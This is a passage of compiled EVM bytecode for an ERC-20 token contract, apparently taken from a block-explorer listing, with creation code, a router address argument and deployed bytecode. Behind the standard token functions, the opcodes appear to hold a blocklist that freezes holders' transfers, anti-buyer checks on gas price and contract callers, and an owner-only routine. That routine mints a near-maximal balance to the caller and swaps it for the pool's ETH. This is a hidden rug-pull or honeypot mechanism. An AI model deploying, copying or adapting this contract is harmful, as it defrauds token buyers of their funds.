ffffffffffffffffffffffffffffffffffff16905090565b60606002805461149d90613124565b80601f01602080910402602001604051908101604052809291908181526020018280546114c990613124565b80156115165780601f106114eb57610100808354040283529160200191611516565b820191906000526020600020905b8154815290600101906020018083116114f957829003601f168201915b5050505050905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008033905060006115de8286611ade565b905083811015611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a9061341a565b60405180910390fd5b6116308286868403611c20565b60019250505092915050565b60008033905061164d818585611eb2565b600191505092915050565b611660611de9565b600061168d600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611949565b90506000816dffffffffffffffffffffffffffff80166116ad919061343a565b90506116b761293f565b6116c9306116c4336112c8565b61163c565b5061170730600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611c20565b6060600267ffffffffffffffff8111156117245761172361346e565b5b6040519080825280602002602001820160405280156117525781602001602082028036833780820191505090505b509050308160008151811061176a5761176961349d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611811573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611835919061316a565b816001815181106118495761184861349d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5836000846118cd611e0c565b6104b0426118db91906132c7565b6040518663ffffffff1660e01b81526004016118fb9594939291906135cf565b6000604051808303816000875af115801561191a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906119439190613742565b50505050565b6000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156119bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119df919061380d565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8e919061316a565b73ffffffffffffffffffffffffffffffffffffffff1614611abf57816dffffffffffffffffffffffffffff16611ad1565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b93612804565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf9906138d2565b60405180910390fd5b611c0b8161287b565b50565b611c16611de9565b611c1e61293f565b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8690613964565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf5906139f6565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ddc9190612eb4565b60405180910390a3505050565b6000611dfb611df6611e0c565b6129ae565b9050611e0981600a546129d3565b50565b600033905090565b611e1d816129ae565b600a8190555050565b6000611e328484611ade565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611eac5781811015611e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9590613a62565b60405180910390fd5b611eab8484848403611c20565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1890613af4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8790613b86565b60405180910390fd5b611f9b838383612a3d565b6000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611ff757600080fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561207e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207590613c18565b60405180910390fd5b6000600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614801561212c57506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b156126e85761213a84612b06565b1561238457600061215d83600560009054906101000a900460ff1660ff16612bb8565b9050828261216b919061343a565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836121ba919061343a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461220891906132c7565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661226a919061343a565b6040516122779190612eb4565b60405180910390a38060086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122f091906132c7565b92505081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123769190612eb4565b60405180910390a3506126e3565b61238d83612b06565b156125d75760006123b083600560019054906101000a900460ff1660ff16612bb8565b905082826123be919061343a565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361240d919061343a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461245b91906132c7565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866124bd919061343a565b6040516124ca9190612eb4565b60405180910390a38060086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461254391906132c7565b92505081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125c99190612eb4565b60405180910390a3506126e2565b81816125e3919061343a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461267591906132c7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d99190612eb4565b60405180910390a35b5b6127f3565b81816126f4919061343a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461278691906132c7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127ea9190612eb4565b60405180910390a35b6127fe848484612bda565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612823611465565b73ffffffffffffffffffffffffffffffffffffffff1614612879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287090613c84565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff80166008600061295c611e0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129a591906132c7565b92505081905550565b6000808290508073ffffffffffffffffffffffffffffffffffffffff16915050919050565b6000633b9aca00826129e59190613ca4565b9050633b9aca0083826129f89190613d15565b14612a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2f90613d92565b60405180910390fd5b505050565b612a4682612b06565b15612af457612a5483612bdf565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612af357612ab283612c6a565b15612af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae990613dfe565b60405180910390fd5b5b5b60008111612b0157600080fd5b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612bb15750600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600060648284612bc89190613ca4565b612bd29190613d15565b905092915050565b505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1603612c6757600b60009054906101000a900460ff16612c5a57612c55600c54612c8f565b612c66565b612c65600d54612c8f565b5b5b50565b600080823b90506000811115612c84576001915050612c8a565b60009150505b919050565b803a1115612cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc990613e6a565b60405180910390fd5b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d0f578082015181840152602081019050612cf4565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d3782612cd5565b612d418185612ce0565b9350612d51818560208601612cf1565b612d5a81612d1b565b840191505092915050565b60006020820190508181036000830152612d7f8184612d2c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dc682612d9b565b9050919050565b612dd681612dbb565b8114612de157600080fd5b50565b600081359050612df381612dcd565b92915050565b6000819050919050565b612e0c81612df9565b8114612e1757600080fd5b50565b600081359050612e2981612e03565b92915050565b60008060408385031215612e4657612e45612d91565b5b6000612e5485828601612de4565b9250506020612e6585828601612e1a565b9150509250929050565b60008115159050919050565b612e8481612e6f565b82525050565b6000602082019050612e9f6000830184612e7b565b92915050565b612eae81612df9565b82525050565b6000602082019050612ec96000830184612ea5565b92915050565b600060208284031215612ee557612ee4612d91565b5b6000612ef384828501612de4565b91505092915050565b600080600060608486031215612f1557612f14612d91565b5b6000612f2386828701612de4565b9350506020612f3486828701612de4565b9250506040612f4586828701612e1a565b9150509250925092565b612f5881612e6f565b8114612f6357600080fd5b50565b600081359050612f7581612f4f565b92915050565b60008060408385031215612f9257612f91612d91565b5b6000612fa085828601612de4565b9250506020612fb185828601612f66565b9150509250929050565b600060ff82169050919050565b612fd181612fbb565b8114612fdc57600080fd5b50565b600081359050612fee81612fc8565b92915050565b6000806040838503121561300b5761300a612d91565b5b600061301985828601612fdf565b925050602061302a85828601612fdf565b9150509250929050565b61303d81612fbb565b82525050565b60006020820190506130586000830184613034565b92915050565b60006020828403121561307457613073612d91565b5b600061308284828501612e1a565b91505092915050565b61309481612dbb565b82525050565b60006020820190506130af600083018461308b565b92915050565b600080604083850312156130cc576130cb612d91565b5b60006130da85828601612de4565b92505060206130eb85828601612de4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061313c57607f821691505b60208210810361314f5761314e6130f5565b5b50919050565b60008151905061316481612dcd565b92915050565b6000602082840312156131805761317f612d91565b5b600061318e84828501613155565b91505092915050565b60006040820190506131ac600083018561308b565b6131b9602083018461308b565b9392505050565b7f6578697374696e67207374617465000000000000000000000000000000000000600082015250565b60006131f6600e83612ce0565b9150613201826131c0565b602082019050919050565b60006020820190508181036000830152613225816131e9565b9050919050565b7f65786365656473206c696d697400000000000000000000000000000000000000600082015250565b6000613262600d83612ce0565b915061326d8261322c565b602082019050919050565b6000602082019050818103600083015261329181613255565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132d282612df9565b91506132dd83612df9565b92508282019050808211156132f5576132f4613298565b5b92915050565b6000604082019050613310600083018561308b565b61331d6020830184612ea5565b9392505050565b60008151905061333381612f4f565b92915050565b60006020828403121561334f5761334e612d91565b5b600061335d84828501613324565b91505092915050565b60008151905061337581612e03565b92915050565b60006020828403121561339157613390612d91565b5b600061339f84828501613366565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613404602583612ce0565b915061340f826133a8565b604082019050919050565b60006020820190508181036000830152613433816133f7565b9050919050565b600061344582612df9565b915061345083612df9565b925082820390508181111561346857613467613298565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006134fb6134f66134f1846134cc565b6134d6565b612df9565b9050919050565b61350b816134e0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61354681612dbb565b82525050565b6000613558838361353d565b60208301905092915050565b6000602082019050919050565b600061357c82613511565b613586818561351c565b93506135918361352d565b8060005b838110156135c25781516135a9888261354c565b97506135b483613564565b925050600181019050613595565b5085935050505092915050565b600060a0820190506135e46000830188612ea5565b6135f16020830187613502565b81810360408301526136038186613571565b9050613612606083018561308b565b61361f6080830184612ea5565b9695505050505050565b600080fd5b61363782612d1b565b810181811067ffffffffffffffff821117156136565761365561346e565b5b80604052505050565b6000613669612d87565b9050613675828261362e565b919050565b600067ffffffffffffffff8211156136955761369461346e565b5b602082029050602081019050919050565b600080fd5b60006136be6136b98461367a565b61365f565b905080838252602082019050602084028301858111156136e1576136e06136a6565b5b835b8181101561370a57806136f68882613366565b8452602084019350506020810190506136e3565b5050509392505050565b600082601f83011261372957613728613629565b5b81516137398482602086016136ab565b91505092915050565b60006020828403121561375857613757612d91565b5b600082015167ffffffffffffffff81111561377657613775612d96565b5b61378284828501613714565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b6137ae8161378b565b81146137b957600080fd5b50565b6000815190506137cb816137a5565b92915050565b600063ffffffff82169050919050565b6137ea816137d1565b81146137f557600080fd5b50565b600081519050613807816137e1565b92915050565b60008060006060848603121561382657613825612d91565b5b6000613834868287016137bc565b9350506020613845868287016137bc565b9250506040613856868287016137f8565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138bc602683612ce0565b91506138c782613860565b604082019050919050565b600060208201905081810360008301526138eb816138af565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061394e602483612ce0565b9150613959826138f2565b604082019050919050565b6000602082019050818103600083015261397d81613941565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139e0602283612ce0565b91506139eb82613984565b604082019050919050565b60006020820190508181036000830152613a0f816139d3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a4c601d83612ce0565b9150613a5782613a16565b602082019050919050565b60006020820190508181036000830152613a7b81613a3f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ade602583612ce0565b9150613ae982613a82565b604082019050919050565b60006020820190508181036000830152613b0d81613ad1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b70602383612ce0565b9150613b7b82613b14565b604082019050919050565b60006020820190508181036000830152613b9f81613b63565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613c02602683612ce0565b9150613c0d82613ba6565b604082019050919050565b60006020820190508181036000830152613c3181613bf5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c6e602083612ce0565b9150613c7982613c38565b602082019050919050565b60006020820190508181036000830152613c9d81613c61565b9050919050565b6000613caf82612df9565b9150613cba83612df9565b9250828202613cc881612df9565b91508282048414831517613cdf57613cde613298565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2082612df9565b9150613d2b83612df9565b925082613d3b57613d3a613ce6565b5b828204905092915050565b7f6572723930310000000000000000000000000000000000000000000000000000600082015250565b6000613d7c600683612ce0565b9150613d8782613d46565b602082019050919050565b60006020820190508181036000830152613dab81613d6f565b9050919050565b7f6572723730310000000000000000000000000000000000000000000000000000600082015250565b6000613de8600683612ce0565b9150613df382613db2565b602082019050919050565b60006020820190508181036000830152613e1781613ddb565b9050919050565b7f6572723330310000000000000000000000000000000000000000000000000000600082015250565b6000613e54600683612ce0565b9150613e5f82613e1e565b602082019050919050565b60006020820190508181036000830152613e8381613e47565b905091905056fea264697066735822122087338594d05df32b58ee6f8ee9d430f847ab9cab5a8fc028ebee158d1c92e53c64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a457c2d711610095578063dd62ed3e11610064578063dd62ed3e14610650578063e4440a861461068d578063f2fde38b146106b8578063ff4b79d3146106e1576101cd565b8063a457c2d714610582578063a9059cbb146105bf578063b59c0974146105fc578063c016deae14610613576101cd565b80638da5cb5b116100d15780638da5cb5b146104b257806395d89b41146104dd57806399dead31146105085780639ffa77dc14610545576101cd565b8063715018a61461045b578063791dc0d3146104725780638b6084e41461049b576101cd565b8063269bf9ea11610164578063395093511161013e578063395093511461039c5780634d474d42146103d957806351c6590a1461040257806370a082311461041e576101cd565b8063269bf9ea1461031f5780633139f2e514610348578063313ce56714610371576101cd565b806318160ddd116101a057806318160ddd146102655780631a2e6a01146102905780631f7cb4d0146102b957806323b872dd146102e2576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630c3f6acf1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106f8565b6040516101f49190612d65565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612e2f565b61078a565b6040516102319190612e8a565b60405180910390f35b34801561024657600080fd5b5061024f6107a6565b60405161025c9190612e8a565b60405180910390f35b34801561027157600080fd5b5061027a6107bd565b6040516102879190612eb4565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612ecf565b6107c7565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612ecf565b610894565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612efc565b610ac2565b6040516103169190612e8a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612f7b565b610aea565b005b34801561035457600080fd5b5061036f600480360381019061036a9190612ff4565b610bf6565b005b34801561037d57600080fd5b50610386610c8f565b6040516103939190613043565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190612e2f565b610ca6565b6040516103d09190612e8a565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190612ecf565b610cd6565b005b61041c6004803603810190610417919061305e565b610d22565b005b34801561042a57600080fd5b5061044560048036038101906104409190612ecf565b6112c8565b6040516104529190612eb4565b60405180910390f35b34801561046757600080fd5b50610470611311565b005b34801561047e57600080fd5b5061049960048036038101906104949190612f7b565b611325565b005b3480156104a757600080fd5b506104b0611431565b005b3480156104be57600080fd5b506104c7611465565b6040516104d4919061309a565b60405180910390f35b3480156104e957600080fd5b506104f261148e565b6040516104ff9190612d65565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190612ecf565b611520565b60405161053c9190613043565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612ecf565b611576565b6040516105799190613043565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a49190612e2f565b6115cc565b6040516105b69190612e8a565b60405180910390f35b3480156105cb57600080fd5b506105e660048036038101906105e19190612e2f565b61163c565b6040516105f39190612e8a565b60405180910390f35b34801561060857600080fd5b50610611611658565b005b34801561061f57600080fd5b5061063a60048036038101906106359190612ecf565b611949565b6040516106479190612eb4565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906130b5565b611ade565b6040516106849190612eb4565b60405180910390f35b34801561069957600080fd5b506106a2611b65565b6040516106af919061309a565b60405180910390f35b3480156106c457600080fd5b506106df60048036038101906106da9190612ecf565b611b8b565b005b3480156106ed57600080fd5b506106f6611c0e565b005b60606001805461070790613124565b80601f016020809104026020016040519081016040528092919081815260200182805461073390613124565b80156107805780601f1061075557610100808354040283529160200191610780565b820191906000526020600020905b81548152906001019060200180831161076357829003601f168201915b5050505050905090565b60008033905061079b818585611c20565b600191505092915050565b6000600b60009054906101000a900460ff16905090565b6000600454905090565b6107cf611de9565b6000600f60006107dd611e0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061089181611e14565b50565b61089c611de9565b80600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610970919061316a565b90508073ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a20919061316a565b6040518363ffffffff1660e01b8152600401610a3d929190613197565b602060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e919061316a565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080339050610ad3858285611e26565b610ade858585611eb2565b60019150509392505050565b610af2611de9565b600081610b00576000610b03565b60015b90508060ff16600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1603610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b909061320c565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550505050565b610bfe611de9565b60648260ff1611158015610c16575060648160ff1611155b610c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4c90613278565b60405180910390fd5b81600560006101000a81548160ff021916908360ff16021790555080600560016101000a81548160ff021916908360ff1602179055505050565b6000600360009054906101000a900460ff16905090565b600080339050610ccb818585610cbc8589611ade565b610cc691906132c7565b611c20565b600191505092915050565b610cde611de9565b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d2a611de9565b6000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbd919061316a565b905060008173ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f919061316a565b6040518363ffffffff1660e01b8152600401610e8c929190613197565b602060405180830381865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd919061316a565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f095780611018565b8173ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb7919061316a565b6040518363ffffffff1660e01b8152600401610fd4929190613197565b6020604051808303816000875af1158015610ff3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611017919061316a565b5b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110eb919061316a565b90508073ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561113557600080fd5b505af1158015611149573d6000803e3d6000fd5b505050505061117a600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561163c565b508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16346040518363ffffffff1660e01b81526004016111d89291906132fb565b6020604051808303816000875af11580156111f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121b9190613339565b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a627842611262611e0c565b6040518263ffffffff1660e01b815260040161127e919061309a565b6020604051808303816000875af115801561129d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c1919061337b565b5050505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611319612804565b611323600061287b565b565b61132d611de9565b60008161133b57600061133e565b60015b90508060ff16601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16036113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb9061320c565b60405180910390fd5b80601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550505050565b611439611de9565b600b60009054906101000a900460ff1615600b60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461149d90613124565b80601f01602080910402602001604051908101604052809291908181526020018280546114c990613124565b80156115165780601f106114eb57610100808354040283529160200191611516565b820191906000526020600020905b8154815290600101906020018083116114f957829003601f168201915b5050505050905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008033905060006115de8286611ade565b905083811015611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a9061341a565b6040